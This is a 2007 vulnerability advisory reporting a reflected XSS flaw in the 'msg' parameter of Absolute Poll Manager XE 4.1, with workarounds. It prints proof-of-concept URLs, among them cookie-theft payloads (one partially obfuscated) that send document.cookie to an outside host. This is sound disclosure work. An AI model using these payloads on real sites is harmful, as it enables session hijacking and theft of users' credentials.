PR07-23: Non-persistent Cross-site Scripting (XSS) on Absolute Poll Manager XE admin page
Date Found: 10th April 2007
Vendor informed: 4th July 2007
Successfully tested on: Absolute Poll Manager XE - Version 4.1. Earlier
versions are possibly affected as well but have NOT been tested.
Description: Absolute Poll Manager XE is vulnerable to a vanilla XSS within the
"/AbsolutePollManager/xlaapmview.asp" server-side script and "msg" parameter.
No authentication is required to exploit this vulnerability
Consequences: An attacker may be able to cause execution of malicious scripting
code in the browser of a polls management user who clicks on a link to a site
managed by Absolute Poll Manager. Such code would run within the context of the
target domain.
This type of attack can result in non-persistent defacement of the target site,
or the redirection of confidential information (i.e.: session IDs) to
unauthorised third parties.
XSS Proof of concept (PoC) URLs:
Alert box injection -
http://target-domain.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=<script>alert("running+code+within+the+context+of+"%2bdocument.domain)</script>
Cookie theft (could be used in session hijacking attacks) -
http://target-domain.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=<script>location="http://procheckup.com/?"%2bdocument.cookie</script>
or partially obfuscated -
http://target-domain.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=%3cscript%3elocation=%22http%3a//proch%65ckup%2ecom/?%22%2bdocument.cookie%3c/script%3e&;

Fix: The yet-to-be released .NET version of Absolute Poll Manager XE will fix
this issue.
For the moment, any of the following workarounds can be applied in order to fix
the XSS issue:
1. Password protect the Absolute Poll Manager admin console directory
('/absolutepm/')
2. Restrict access to Absolute Poll Manager admin console directory from
trusted IP addresses only
